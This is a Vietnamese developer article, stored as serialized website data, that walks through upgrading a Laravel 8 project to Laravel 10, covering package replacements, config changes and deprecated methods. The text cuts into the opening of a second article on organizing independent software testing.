Request::HEADER_X_FORWARDED_PROTO |\n    Request::HEADER_X_FORWARDED_AWS_ELB;\n",[703,23584,23582],{"__ignoreMap":66},[11,23586,23587],{},"Và sau đó hãy bỏ package như bên dưới:",[696,23589,23592],{"className":23590,"code":23591,"language":701},[699],"{\n  \"require\": {\n    \u002F\u002F Remove this package\n    \"fideloper\u002Fproxy\": \"^4.4\"\n  }\n}\n",[703,23593,23591],{"__ignoreMap":66},[11,23595,23596],{},[20,23597,23598],{},"Fruitcake\u002Flaravel-cors:",[11,23600,23601,23606,23607,23610],{},[58,23602,23605],{"href":23603,"rel":23604},"https:\u002F\u002Fpackagist.org\u002Fpackages\u002Ffruitcake\u002Flaravel-cors",[62],"Package này"," không còn được bảo trì và nâng cấp bởi chủ sở hữu nữa. Nên trong Laravel 10, nó đã được bỏ đi. Để cập nhật thay đổi này, đầu tiên trong file ",[1277,23608,23609],{},"app\\Http\\Kernel.php,"," bạn hãy đổi namespace của middleware như sau:",[11,23612,23613],{},[703,23614,23615],{},"\\Fruitcake\\Cors\\HandleCors::class",[11,23617,23567],{},[11,23619,23620],{},[703,23621,23622],{},"\\Illuminate\\Http\\Middleware\\HandleCors::class",[11,23624,23625],{},"Sau đó, loại bỏ package này đi trong composer.json:",[696,23627,23630],{"className":23628,"code":23629,"language":701},[699],"{\n  \"require\": {\n    \u002F\u002F Remove this package\n    \"fruitcake\u002Flaravel-cors\": \"^2.0\"\n  }\n}\n",[703,23631,23629],{"__ignoreMap":66},[657,23633,23635],{"id":23634},"c-những-packages-được-thay-thế",[20,23636,23637],{},"c. Những Packages được thay thế:",[11,23639,23640],{},"Đây là các package đã được thay thế bằng một package khác, vì vậy bạn hãy thực hiện thay đổi như sau:",[696,23642,23645],{"className":23643,"code":23644,"language":701},[699],"{\n  \"require-dev\": {\n    \u002F\u002F Replace this\n    \"facade\u002Fignition\": \"^2.5\"\n    \u002F\u002F With this\n    \"spatie\u002Flaravel-ignition\": \"^1.0\"\n  }\n}\n",[703,23646,23644],{"__ignoreMap":66},[11,23648,23649,23650,23655,23656,1170],{},"Liên quan đến tính năng ",[58,23651,23654],{"href":23652,"rel":23653},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fnotifications#sms-notifications",[62],"Laravel SMS Notifications"," , vì giờ đây Vonage đã sở hữu Nexmo, nên tên của package này cũng đã được thay đổi tương ứng. Hãy sửa như sau trong file ",[1277,23657,23481],{},[696,23659,23662],{"className":23660,"code":23661,"language":701},[699],"{\n  \"require\": {\n    \u002F\u002F Replace this\n    \"laravel\u002Fnexmo-notification-channel\": \"^2.0\"\n    \u002F\u002F With this\n    \"laravel\u002Fvonage-notification-channel\": \"^3.0\"\n  }\n}\n",[703,23663,23661],{"__ignoreMap":66},[657,23665,23667],{"id":23666},"d-symfony-mailer-thay-cho-swiftmailer",[20,23668,23669],{},"d. Symfony Mailer thay cho SwiftMailer:",[11,23671,23672,23673,23676],{},"Một trong những thay đổi lớn nhất trong Laravel 9.x là tính năng gửi mail đã chuyển sang sử dụng Symfony Mailer thay cho ",[20,23674,23675],{},"SwiftMailer",", bởi vì SwiftMailer đã không còn được bảo trì nữa. Để cập nhật thay đổi đó bạn hãy chạy hai lệnh bên dưới:",[696,23678,23681],{"className":23679,"code":23680,"language":701},[699],"composer remove wildbit\u002Fswiftmailer-postmark\ncomposer require symfony\u002Fmailgun-mailer symfony\u002Fpostmark-mailer symfony\u002Fhttp-client\n",[703,23682,23680],{"__ignoreMap":66},[498,23684,23686],{"id":23685},"thực-thi-lệnh-composer-update","Thực thi lệnh \"composer update\":",[11,23688,23689,23690,23692],{},"Sau khi bạn đã cập nhật xong file ",[1277,23691,23481],{},". Hãy chạy lệnh \"composer update\". Có một điều bạn nên lưu ý, đó là những thay đổi đã trình bày ở trên chỉ dành cho một ứng dụng Laravel cơ bản. Bởi mỗi dự án sẽ sử dụng thêm các package khác nhau nên đôi khi các package đó sẽ xung đột về version. Vì vậy, bạn cũng cần phải cập nhật version cho các package đó.",[11,23694,23695],{},"Khi đã chạy lệnh update thành công, tiếp theo, bạn sẽ cần phải \"refactor - cấu trúc lại\" lại source code bởi vì có những tính năng đã lỗi thời, hoặc cách hoạt động của nó đã bị thay đổi. Sau cùng thì bạn có thể cân nhắc sử dụng các tính năng mới của Laravel cho ứng dụng của bạn.",[498,23697,23699],{"id":23698},"những-thay-đổi-trong-cấu-hình-configuration","Những thay đổi trong cấu hình (configuration):",[11,23701,23702,23703,23706],{},"Nếu dự án sử dụng Postgres, thì trong file ",[1277,23704,23705],{},"config\u002Fdatabase.php",", đổi tên 'schema' thành 'search_path':",[696,23708,23711],{"className":23709,"code":23710,"language":701},[699],"'connections' => [\n  'pgsql' => [\n    \u002F\u002F replace this\n    'schema' => 'public',\n    \u002F\u002F by this\n    'search_path' => 'public',\n  ]\n]\n",[703,23712,23710],{"__ignoreMap":66},[11,23714,23715,23716,1170],{},"Nếu bạn có sử dụng tính năng SFTP thông qua facade Storage, thì sửa file ",[1277,23717,23718],{},"config\u002Ffilesystems.php như sau",[696,23720,23723],{"className":23721,"code":23722,"language":701},[699],"'sftp' => [\n  \u002F\u002F Replace this         \n  'password' => env('SFTP_PASSPHRASE'),\n  \u002F\u002F By this\n  'passphrase' => env('SFTP_PASSPHRASE'),\n]\n",[703,23724,23722],{"__ignoreMap":66},[11,23726,23727,23728,23731,23732,23735],{},"Khai báo các cấu hình cho ",[703,23729,23730],{},"stream"," cho SMTP đã không còn được hỗ trợ nữa. Thay vào đó, bạn phải khai báo trực tiếp . Ví dụ, để tắt xác thực TSL, bạn sẽ phải khai báo như bên dưới. Còn một điều nữa là  ",[703,23733,23734],{},"auth_mode"," đã không còn cần thiết nữa, bởi auth_mode sẽ được tự động xác định khi kết nối đến SMTP server.",[696,23737,23740],{"className":23738,"code":23739,"language":701},[699],"'smtp' => [\n  \u002F\u002F 'auth_mode' => null,\n\n  \u002F\u002F Laravel 8.x...\n  'stream' => [\n      'ssl' => [\n          'verify_peer' => false,\n      ],\n  ],\n  \u002F\u002F Laravel 9.x...\n  'verify_peer' => false,\n]\n",[703,23741,23739],{"__ignoreMap":66},[498,23743,23745],{"id":23744},"thay-đổi-về-cấu-trúc-thư-mục","Thay đổi về cấu trúc thư mục:",[11,23747,23748,23749,974],{},"Trong phiên bản mới của Laravel, thư mục \u002Fresources\u002Flang directory đã được đổi thành \u002Flang, tức là lang sẽ nằm ở thư mục gốc của project. Nếu trong code bạn đang hardcode đường dẫn cho thư mục lang, hãy chuyển sang dùng hàm ",[1277,23750,23751],{},"app()->langPath()",[23161,23753],{},[490,23755,23757],{"id":23756},"thực-hiện-chỉnh-sửa-mã-nguồn","Thực hiện chỉnh sửa mã nguồn:",[11,23759,23760],{},"Trong laravel 10, một số tính năng đã bị bỏ đi, hoặc chúng đã thay đổi cách thức sử dụng và hoạt động khác đi. Nên bạn cũng cần phải thực hiện cập nhật tương ứng cho mã nguồn của project. Bạn không cần phải cập nhật tất cả tính năng, hãy chỉ cập nhật tính năng mà mình đang sử dụng mà thôi.",[498,23762,23764],{"id":23763},"tính-năng-đã-bị-bỏ-đi","Tính năng đã bị bỏ đi:",[11,23766,23767],{},"Các hàm dưới đây chỉ có trong Laravel 8 và không còn tồn tại nữa trong version mới, vì vậy, hãy tìm kiếm tất cả lời gọi đến các hàm này và trực tiếp cập nhật nó như sau:",[11,23769,23770,23777,23778,23781,23782,23785,23786,23789,23790,974],{},[20,23771,23772],{},[58,23773,23776],{"href":23774,"rel":23775},"https:\u002F\u002Flaravel.com\u002Fapi\u002F8.x\u002FIlluminate\u002FSupport\u002FTraits\u002FEnumeratesValues.html",[62],"EnumeratesValues Trait:"," method ",[1277,23779,23780],{},"reduceWithKeys()"," của trait này đã bị bỏ, thay vào đó hãy dùng method ",[1277,23783,23784],{},"reduce()",". Và method ",[1277,23787,23788],{},"reduceMany()"," đã được đổi tên thành ",[1277,23791,23792],{},"reduceSpread()",[11,23794,23795,23802,23803,23806,23807,974],{},[20,23796,23797],{},[58,23798,23801],{"href":23799,"rel":23800},"https:\u002F\u002Flaravel.com\u002Fapi\u002F8.x\u002FIlluminate\u002FDatabase\u002FSchema\u002FBuilder.html#method_registerCustomDoctrineType",[62],"Illuminate\\Database\\Schema\\Builder::registerCustomDoctrineType()"," method này đã bị bỏ đi. Thay vào đó hãy dùng method ",[1277,23804,23805],{},"registerDoctrineType()"," DB facade, hoặc khai báo custom Doctrine types trong file ",[1277,23808,23705],{},[11,23810,23811,23814],{},[20,23812,23813],{},"Testing:"," assertDeleted() method đã bị bỏ, hãy sử dụng assertModelMissing().",[11,23816,23817,56,23820,1094,23825,23828,23829,23834],{},[20,23818,23819],{},"Queue:",[58,23821,23824],{"href":23822,"rel":23823},"https:\u002F\u002Flaravel.com\u002Fapi\u002F9.x\u002FIlluminate\u002FBus\u002FDispatcher.html#method_dispatchNow",[62],"Bus::dispatchNow()",[1277,23826,23827],{},"dispatch_now()"," methods đã bị bỏ đi. Hãy sử dụng ",[58,23830,23833],{"href":23831,"rel":23832},"https:\u002F\u002Flaravel.com\u002Fapi\u002F10.x\u002FIlluminate\u002FBus\u002FDispatcher.html#method_dispatchSync",[62],"Bus::dispatchSync()"," và dispatch_sync() methods.",[11,23836,23837,23845,23846,974],{},[20,23838,23839,23844],{},[58,23840,23843],{"href":23841,"rel":23842},"https:\u002F\u002Flaravel.com\u002Fapi\u002F9.x\u002FIlluminate\u002FRouting\u002FRedirector.html#method_home",[62],"Redirect::home()"," method"," đã bị bỏ đi. Thay vào đó, hãy redirect bằng cách gọi ",[703,23847,23848],{},"return Redirect::route('home')",[498,23850,23852,23853],{"id":23851},"lỗi-thời-blade-lazy-collections-the-loop-variable","[Lỗi thời] - Blade - ",[20,23854,23855],{},"Lazy Collections & The $loop Variable:",[696,23857,23860],{"className":23858,"code":23859,"language":701},[699],"@php\n    use App\\Models\\Car;\n    $cars = Car::cursor();  \u002F\u002F cars lazy collection\n    foreach($cars as $c) {\n        echo $loop->iteration;\n    }\n@endphp\n",[703,23861,23859],{"__ignoreMap":66},[11,23863,23864],{},"Trong đoạn code bên trên, bạn đang truy xuất đến biến $loop bên trong một vòng lặp thuộc kiểu LazyCollection. Cách làm trên bây giờ đã lỗi thời. Bởi vì khi gọi như vậy, toàn bộ collection sẽ được tải vào trong bộ nhớ của RAM (điều này đi ngược lại hoàn toàn cách hoạt động của một LazyCollection).",[498,23866,23868],{"id":23867},"đã-bỏ-storage","[Đã bỏ] - Storage:",[11,23870,23871,23872,23877],{},"Storage - Flysystem đã không còn hỗ trợ ",[58,23873,23876],{"href":23874,"rel":23875},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F8.x\u002Ffilesystem#composer-packages",[62],"cached-adapters",". Hãy xoá nó bằng cách gọi command bên dưới:",[696,23879,23882],{"className":23880,"code":23881,"language":701},[699],"composer require league\u002Fflysystem-cached-adapter\n",[703,23883,23881],{"__ignoreMap":66},[498,23885,23887],{"id":23886},"đã-bỏ-truy-xuất-db-expression-string-value","[Đã bỏ] Truy xuất DB Expression string value:",[11,23889,23890,23891,23896],{},"Ở các version trước, bạn có thể lấy giá trị kiểu chuỗi của một ",[58,23892,23895],{"href":23893,"rel":23894},"https:\u002F\u002Flaravel.com\u002Fapi\u002F9.x\u002FIlluminate\u002FDatabase\u002FQuery\u002FExpression.html",[62],"Expression"," bằng cách ép kiểu như sau:",[696,23898,23901],{"className":23899,"code":23900,"language":701},[699],"$expression = DB::raw('select * from news');\n$expStr = (string)$expression;\n",[703,23902,23900],{"__ignoreMap":66},[11,23904,23905],{},"Cách làm này không còn được hỗ trợ nữa, thay vào đó hãy làm như sau:",[696,23907,23910],{"className":23908,"code":23909,"language":701},[699],"$expStr = $expression->getValue(DB::connection()->getQueryGrammar());\n",[703,23911,23909],{"__ignoreMap":66},[498,23913,23915],{"id":23914},"đã-bỏ-thuộc-tính-date-trong-eloquent-model","[Đã bỏ] thuộc tính $date trong Eloquent model:",[11,23917,23918],{},"Trước đây, để ép kiểu các thuộc tính về datetime một cách tự động bạn có thể liệt kê nó trong $date. Nhưng giờ thuộc tính $date đã bị bỏ đi:",[696,23920,23923],{"className":23921,"code":23922,"language":701},[699],"protected $dates = [\n    'deployed_at'\n];\n",[703,23924,23922],{"__ignoreMap":66},[11,23926,23927],{},"Thay vào đó, hãy liệt kê nó trong $casts:",[696,23929,23932],{"className":23930,"code":23931,"language":701},[699],"protected $casts = [\n    'deployed_at' => 'datetime',\n];\n",[703,23933,23931],{"__ignoreMap":66},[498,23935,23937],{"id":23936},"đã-bỏ-testing-service-mocking","[Đã bỏ] Testing - Service Mocking:",[11,23939,23940,23941,23946,23947,23950,23951,23954,23955,23960],{},"Một số method của ",[58,23942,23945],{"href":23943,"rel":23944},"https:\u002F\u002Flaravel.com\u002Fapi\u002F9.x\u002FIlluminate\u002FFoundation\u002FTesting\u002FConcerns\u002FMocksApplicationServices.html",[62],"MocksApplicationServices trait"," đã bị bỏ đi. Cụ thể là các method dùng để testing như ",[703,23948,23949],{},"expectsEvents(), expectsJobs(), và expectsNotifications()",". Nếu như bạn đang sử dụng các method này, hãy thay thế bằng method fake() của service tương ứng, chẳng hạn như ",[703,23952,23953],{},"Event::fake, Bus::fake, và Notification::fake",". Để biết thêm thông tin về cách tạo mock bằng hàm fake, hãy tham khảo ",[58,23956,23959],{"href":23957,"rel":23958},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F9.x\u002Fmocking",[62],"phần tài liệu của service tương ứng"," mà bạn muốn fake.",[498,23962,23964],{"id":23963},"thay-đổi-validation-rule-password","[Thay đổi] Validation - rule 'password' :",[11,23966,23967,23972,23973,974],{},[58,23968,23971],{"href":23969,"rel":23970},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fvalidation#rule-password",[62],"password rule"," dùng để so khớp mật khẩu của user đăng nhập, giơ đây đã được đổi tên thành ",[58,23974,23977],{"href":23975,"rel":23976},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fvalidation#rule-current-password",[62],"current_password",[498,23979,23981],{"id":23980},"thay-đổi-blade-tránh-việc-ghi-đè-vue-snippet","[Thay đổi] Blade - Tránh việc ghi đè Vue snippet:",[11,23983,23984,23985,23990,23991,974],{},"Laravel 9 cung cấp các ",[58,23986,23989],{"href":23987,"rel":23988},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fblade#additional-attributes",[62],"blade directives"," mới là @diabled, @checked, @selected. Điều đáng nói là Vue cũng đang sử dụng các directive tương tự. Vì vậy, để tránh việc ghi đè lên Vue, bạn cần phải đánh dấu như sau: ",[703,23992,23993],{},"@@disabled, @@checked, @@selected",[498,23995,23997],{"id":23996},"thay-đổi-collections","[Thay đổi] - Collections:",[11,23999,24000],{},"Giờ đây bạn có thể truyền một closure vào tham số đầu tiên cho các method  Collection::when(), unless() và các closure này sẽ được thực thi (trong version trước, nó không được thực thi)",[696,24002,24005],{"className":24003,"code":24004,"language":701},[699],"$collection->when(function ($collection) {\n  \u002F\u002F This closure is executed...\n  return false;\n}, function ($collection) {\n  \u002F\u002F Not executed since first closure returned \"false\"...\n  $collection->merge([1, 2, 3]);\n});\n",[703,24006,24004],{"__ignoreMap":66},[498,24008,24010],{"id":24009},"thay-đổi-eloquent-custom-cast-với-giá-trị-null","[Thay đổi] - Eloquent - custom cast với giá trị null:",[11,24012,24013,24014,24019,24020,24023],{},"Trong Laravel 8, ",[58,24015,24018],{"href":24016,"rel":24017},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Feloquent-mutators#defining-a-mutator",[62],"the mutator set() method"," sẽ không thực thi khi bạn gán giá trị ",[703,24021,24022],{},"$value = null",". Nhưng trong Laravel 9, nó sẽ được thực thi. Ví dụ như với đoạn code dưới đây, output mà nó cho ra là hoàn toàn khác nhau khi truyền null:",[696,24025,24028],{"className":24026,"code":24027,"language":701},[699],"\u002F\u002F In App\\Casts\\FilenameWithTimestamp.php\npublic function set($model, $key, $value, $attributes) {\n  return time() . '_' . $value;\n}\n\n\u002F\u002F In App\\Models\\File.php\nprotected $casts = [\n  'filename' => FilenameWithTimestamp::class\n];\n\n\u002F\u002F Somewhere in your program\n\u002F\u002F With Laravel 8, the result of echo statement will be: null\n\u002F\u002F With Laravel 9, the result of echo statement will be: \"20230322_\"\n$file = File::first();\n$file->filename = null;\necho $file->filename;\n",[703,24029,24027],{"__ignoreMap":66},[11,24031,24032],{},"Bạn thấy đó, trong version Laravel 9, giá trị của filename được gắn thêm timestamp mặc dù bạn truyền null, điều này không hợp logic tí nào. Vì vậy, bạn hãy kiểm tra lại mã nguồn và đảm bảo rằng khi truyền null, ứng dụng của bạn vẫn xử lý được. Chẳng hạn, đoạn code trên có thể được sửa lại cho check null như sau:",[696,24034,24037],{"className":24035,"code":24036,"language":701},[699],"\u002F\u002F In App\\Casts\\FilenameWithTimestamp.php\npublic function set($model, $key, $value, $attributes) {\n  if (empty($value)) {\n    return '';\n  }\n  return time() . '_' . $value;\n}\n",[703,24038,24036],{"__ignoreMap":66},[11,24040,24041],{},"Sau khi sửa như trên, code đã chạy đúng.",[498,24043,24045],{"id":24044},"thay-đổi-storage-hành-vi-trả-lỗi-exception","[Thay đổi] Storage - Hành vi trả lỗi exception:",[11,24047,24048,24049,24052],{},"Trong phiên bảng trước, laravel sẽ ",[20,24050,24051],{},"throw exception"," nếu như có lỗi xảy ra trong quá trình đọc, hoặc ghi file chẳng hạn như xoá một file không tồn tại. Nhưng trong version mới, laravel sẽ không throw exception mà chỉ đơn giản là trả về một kết quả tương ứng như true, false, null, ...",[11,24054,24055],{},"Thay đổi này có thể dẫn đến ứng dụng của bạn hoạt động không đúng, chẳng hạn như bạn đang try-catch exception. Cách ứng phó với thay đổi này là bạn hãy chuyển sang check lỗi bằng if-else, hoặc cấu hình để laravel throw exception như cũ bằng cách như sau:",[696,24057,24060],{"className":24058,"code":24059,"language":701},[699],"'public' => [\n  'driver' => 'local',\n  \u002F\u002F ...\n  'throw' => true,\n]\n",[703,24061,24059],{"__ignoreMap":66},[498,24063,24065],{"id":24064},"thay-đổi-storage-custom-filesystems","[Thay đổi] Storage - Custom Filesystems:",[11,24067,24068],{},"Một vài thay đổi nhỏ trong cách đăng ký một custom filesystem driver. Vì vậy, nếu như trước đó bạn có đăng kí các custom filesystem drivers, hoặc bạn có sử dụng một package có đăng ký custom driver, thì bạn cần phải cập nhật code của mình, và cập nhật cả những dependencies liên quan.",[11,24070,24071],{},"Ví dụ, trong Laravel 8.x, một custom filesystem driver có thể được đăng ký như sau:",[696,24073,24076],{"className":24074,"code":24075,"language":701},[699],"use Illuminate\\Support\\Facades\\Storage;\nuse League\\Flysystem\\Filesystem;\nuse Spatie\\Dropbox\\Client as DropboxClient;\nuse Spatie\\FlysystemDropbox\\DropboxAdapter;\n\nStorage::extend('dropbox', function ($app, $config) {\n    $client = new DropboxClient(\n        $config['authorization_token']\n    );\n\n    return new Filesystem(new DropboxAdapter($client));\n});\n",[703,24077,24075],{"__ignoreMap":66},[11,24079,24080],{},"Tuy nhiên, trong Laravel 9.x, hàm callback truyền vào Storage::extend nên trả về trực tiếp một object kiểu Illuminate\\Filesystem\\FilesystemAdapter:",[696,24082,24085],{"className":24083,"code":24084,"language":701},[699],"use Illuminate\\Filesystem\\FilesystemAdapter;\nuse Illuminate\\Support\\Facades\\Storage;\nuse League\\Flysystem\\Filesystem;\nuse Spatie\\Dropbox\\Client as DropboxClient;\nuse Spatie\\FlysystemDropbox\\DropboxAdapter;\n\nStorage::extend('dropbox', function ($app, $config) {\n    $adapter = new DropboxAdapter(\n        new DropboxClient($config['authorization_token'])\n    );\n\n    return new FilesystemAdapter(\n        new Filesystem($adapter, $config),\n        $adapter,\n        $config\n    );\n});\n",[703,24086,24084],{"__ignoreMap":66},[498,24088,24090],{"id":24089},"thay-đổi-thay-thế-swift-mailer-bằng-symfony-mailer","[Thay đổi] Thay thế Swift Mailer bằng Symfony Mailer:",[11,24092,24093],{},"Trong laravel 8, thư viện Swift Mailer được dùng để gửi mail. Nhưng thư viện này đã không còn được duy trì, nên laravel đã thay thế nó bằng thư viện Symfony Mailer. Nó ảnh hưởng không nhỏ vì hầu như các lời gọi đến thư viện đều thay đổi. Và bạn cũng cần phải cập nhật nó tương ứng.",[11,24095,24096,24099],{},[20,24097,24098],{},"Đổi tên các method của \"Swift\":","  nhiều method liên quan đến Swift Mailer đã được đổi tên để phù hợp với Symfony Mailer. Bạn có thể sử dụng tính năng advanced search trong IDE và thực hiện ghi đè hàng loạt các lời gọi tới các method bằng method tương ứng của nó như bên dưới:",[11,24101,24102],{},[20,24103,24104],{},"Thay đổi của MessageSent Event:",[11,24106,24107],{},"Illuminate\\Mail\\Events\\MessageSent event sẽ cung cấp một biến kiểu Symfony\\Component\\Mime\\Email thay vì kiểu Swift_Message như trước đây. Biến này chứa các thông tin về message trước khi nó được gửi đi. Đồng thời,  một property mới là sent đã được thêm vào. Property mới này chứa thông tin về message khi nó đã được gửi, chẳng hạn như MessageID.",[11,24109,24110],{},[20,24111,24112],{},"Danh sách người nhận mail không thành công:",[11,24114,24115],{},"Bạn sẽ không thể truy xuất danh sách người nhận đã thất bại khi gửi mail đến họ nữa. Thay vào đó, một exception sẽ được trả về, exception này thuộc kiểu Symfony\\Component\\Mailer\\Exception\\TransportExceptionInterface.",[498,24117,24119],{"id":24118},"comprehensive-exam",[20,24120,24121],{},"Comprehensive Exam:",[11,24123,24124,24125],{},"Công ty đã tạo một bài test để kiểm tra mức độ hiểu của các bạn khi đọc bài viết này. Các bạn hãy làm thử nhé!! ",[58,24126,24127],{"href":24127,"rel":24128},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002FKGtxLm0dvU",[62],[498,24130,24131],{"id":1802},[20,24132,1803],{},[31,24134,24135,24141,24147,24154,24161,24167,24173],{},[34,24136,24137],{},[58,24138,24139],{"href":24139,"rel":24140},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F9.x\u002Freleases",[62],[34,24142,24143],{},[58,24144,24145],{"href":24145,"rel":24146},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Freleases",[62],[34,24148,24149],{},[58,24150,24153],{"href":24151,"rel":24152},"https:\u002F\u002Flaracasts.com\u002Fseries\u002Fwhats-new-in-laravel-9",[62],"Laracasts: What's New in Laravel 9",[34,24155,24156],{},[58,24157,24160],{"href":24158,"rel":24159},"https:\u002F\u002Flaracasts.com\u002Fseries\u002Fwhats-new-in-laravel-10",[62],"Laracasts: What's New in Laravel 10",[34,24162,24163],{},[58,24164,24165],{"href":24165,"rel":24166},"https:\u002F\u002Fgithub.com\u002Flaravel\u002Flaravel\u002Fcompare\u002F8.x...9.x",[62],[34,24168,24169],{},[58,24170,24171],{"href":24171,"rel":24172},"https:\u002F\u002Fgithub.com\u002Flaravel\u002Flaravel\u002Fcompare\u002F9.x...10.x",[62],[34,24174,24175],{},[58,24176,24177],{"href":24177,"rel":24178},"https:\u002F\u002Fsecurity.snyk.io\u002Fpackage\u002Fcomposer\u002Flaravel%2Fframework",[62],{"title":66,"searchDepth":67,"depth":67,"links":24180},[24181,24182,24184,24185,24186,24187,24188,24189,24190,24191,24192,24193,24194,24195,24196,24197,24198,24199,24204,24205,24211,24212,24213,24214,24215,24217,24218,24219,24220,24221,24222,24223,24224,24225,24226,24227,24228,24229],{"id":23043,"depth":67,"text":23044},{"id":23063,"depth":67,"text":24183},"1. Laravel Pennant:",{"id":23096,"depth":67,"text":23097},{"id":23111,"depth":67,"text":23112},{"id":23143,"depth":67,"text":23144},{"id":23169,"depth":67,"text":23170},{"id":23180,"depth":67,"text":23181},{"id":23195,"depth":67,"text":23196},{"id":23206,"depth":67,"text":23207},{"id":23241,"depth":67,"text":23242},{"id":23252,"depth":67,"text":23253},{"id":23266,"depth":67,"text":23267},{"id":23287,"depth":67,"text":23288},{"id":23298,"depth":67,"text":23299},{"id":23309,"depth":67,"text":23310},{"id":23320,"depth":67,"text":23321},{"id":23338,"depth":67,"text":23339},{"id":23356,"depth":67,"text":23357,"children":24200},[24201,24202,24203],{"id":23381,"depth":1417,"text":23382},{"id":23396,"depth":1417,"text":23397},{"id":23407,"depth":1417,"text":23408},{"id":23459,"depth":67,"text":23460},{"id":23466,"depth":67,"text":23467,"children":24206},[24207,24208,24209,24210],{"id":23470,"depth":1417,"text":23473},{"id":23542,"depth":1417,"text":23545},{"id":23634,"depth":1417,"text":23637},{"id":23666,"depth":1417,"text":23669},{"id":23685,"depth":67,"text":23686},{"id":23698,"depth":67,"text":23699},{"id":23744,"depth":67,"text":23745},{"id":23763,"depth":67,"text":23764},{"id":23851,"depth":67,"text":24216},"[Lỗi thời] - Blade - Lazy Collections & The $loop Variable:",{"id":23867,"depth":67,"text":23868},{"id":23886,"depth":67,"text":23887},{"id":23914,"depth":67,"text":23915},{"id":23936,"depth":67,"text":23937},{"id":23963,"depth":67,"text":23964},{"id":23980,"depth":67,"text":23981},{"id":23996,"depth":67,"text":23997},{"id":24009,"depth":67,"text":24010},{"id":24044,"depth":67,"text":24045},{"id":24064,"depth":67,"text":24065},{"id":24089,"depth":67,"text":24090},{"id":24118,"depth":67,"text":24121},{"id":1802,"depth":67,"text":1803},"2023-05-23","Vì sao bạn nên nâng cấp version cho dự án Laravel 8? Các phiên bản mới của Laravel sẽ được release mỗi năm. Và các đợt release này sẽ có ít hay nhiều những thay đổi, chẳng hạn như cập nhật những tính năng mới, hoặc bỏ đi những tính năng không hợp lí, ... Vì vậy, nếu bạn càng để nhiều version cần phải nâng cấp, thì nó càng khó khăn và tốn nhiều thời gian hơn để nâng cấp.  Lí do chính cho sự khó khăn khi nâng cấp như vậy là do dự án của bạn sẽ liên tục trở nên lớn dần theo thời gian, và các hàm, các method sẽ ngày càng phụ thuộc lẫn nhau. Điều này khiến cho việc thay đổi một tính năng nào đó sẽ ảnh hưởng không nhỏ đến các tính năng còn lại. Một điều đáng lưu ý nữa là từ khi Laravel 10 được release, thì Laravel 8 đã không còn được bảo trì cũng như có support cho nó. Vì vậy, ban nên nâng cấp càng sớm càng tốt.",{},"\u002Fvi\u002Fnews\u002Ftinh-nang-moi-va-cach-nang-cap-version-tu-laravel-8-len-laravel-10",{"title":23038,"description":24231},"vi\u002Fnews\u002Ftinh-nang-moi-va-cach-nang-cap-version-tu-laravel-8-len-laravel-10","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F06151008\u002Flaravel-8-upgrade-thumbnail.jpg","mVXfXZ5Y7c3dTRgFzZ7io460JrNKJpgEhkcRbgX3e_k",{"id":24239,"title":24240,"body":24241,"category":356,"created by":70,"date":24611,"description":24612,"extension":72,"meta":24613,"navigation":74,"path":24614,"sections":76,"seo":24615,"stem":24616,"thumbnail":24617,"__hash__":24618},"content_vi\u002Fvi\u002Fnews\u002Fto-chuc-kiem-thu.md","TỔ CHỨC KIỂM THỬ",{"type":8,"value":24242,"toc":24609},[24243,24248,24251,24254,24257,24260,24263,24268,24271,24276,24279,24284,24287,24292,24295,24298,24303,24306,24311,24314,24319,24322,24327,24330,24333,24336,24339,24342,24347,24350,24353,24391,24394,24399,24402,24405,24408,24413,24416,24439,24444,24447,24452,24455,24463,24466,24471,24474,24479,24482,24487,24490,24519,24522,24527,24530,24598,24603],[11,24244,24245],{},[20,24246,24247],{},"① Kiểm thử độc lập",[11,24249,24250],{},"Khi viết một bài văn, rất dễ để có những lỗi chính tả hoặc sai sót trong cách diễn đạt mà chính tác giả khó nhận ra. Vì vậy, để phát hiện lỗi trong văn bản, việc nhờ người khác ngoài tác giả đọc lại là rất hiệu quả. Điều này là vì những lỗi do sự thiếu tự nhiên trong cách diễn đạt hoặc sai sót do giả định có thể dễ dàng được người khác chỉ ra. Cơ chế này tương tự với mối quan hệ giữa nhà phát triển và người kiểm thử trong phát triển phần mềm. Trong phần này, chúng ta sẽ giải thích về các hình thức tổ chức kiểm thử từ góc độ quản lý kiểm thử, lợi ích và thách thức của từng hình thức, cùng với vai trò của người thực hiện kiểm thử độc lập.",[11,24252,24253],{},"Trong công việc kiểm thử của một dự án, có nhiều người tham gia với các vai trò khác nhau. Chủ yếu là người phụ trách kiểm thử thực hiện công việc này, nhưng đôi khi nhà phát triển cũng có thể tham gia kiểm thử. Ngoài ra, người sở hữu hệ thống hoặc người dùng cũng có thể tham gia vào việc kiểm thử. Khi người phụ trách kiểm thử có sự độc lập, việc phát hiện lỗi sẽ trở nên hiệu quả hơn. Ví dụ, nếu chủ sở hữu hệ thống thực hiện kiểm thử, họ có thể xác nhận phần mềm hoạt động như mong muốn; nếu người dùng tham gia kiểm thử, họ có thể đánh giá tính dễ sử dụng và tính khả thi của phần mềm.",[11,24255,24256],{},"Tuy nhiên, khi một người kiểm thử độc lập khác với người phát triển thực hiện kiểm thử, họ sẽ không bị ảnh hưởng bởi các yếu tố tâm lý như định kiến hoặc thiên kiến của nhà phát triển, từ đó có thể kiểm tra mà không bị chi phối bất cứ gì. Thêm vào đó, những nhà kiểm thử độc lập có chuyên môn sẽ tăng động lực cho việc kiểm thử và đánh giá, giúp việc thực hiện trở nên hiệu quả. Tuy nhiên, cần lưu ý rằng độc lập không đồng nghĩa với việc có sự hiểu biết sâu về đối tượng kiểm thử. Ví dụ, nhà phát triển có thể hiểu rõ cấu trúc bên trong của code và do đó có thể tìm ra nhiều lỗi ở trong code.",[11,24258,24259],{},"Hiệu quả của một đội kiểm thử độc lập sẽ khác nhau tùy vào hình thức của đội kiểm thử và mức độ kiểm thử. Do đó, quản lý kiểm thử yêu cầu việc tổ chức một đội kiểm thử có 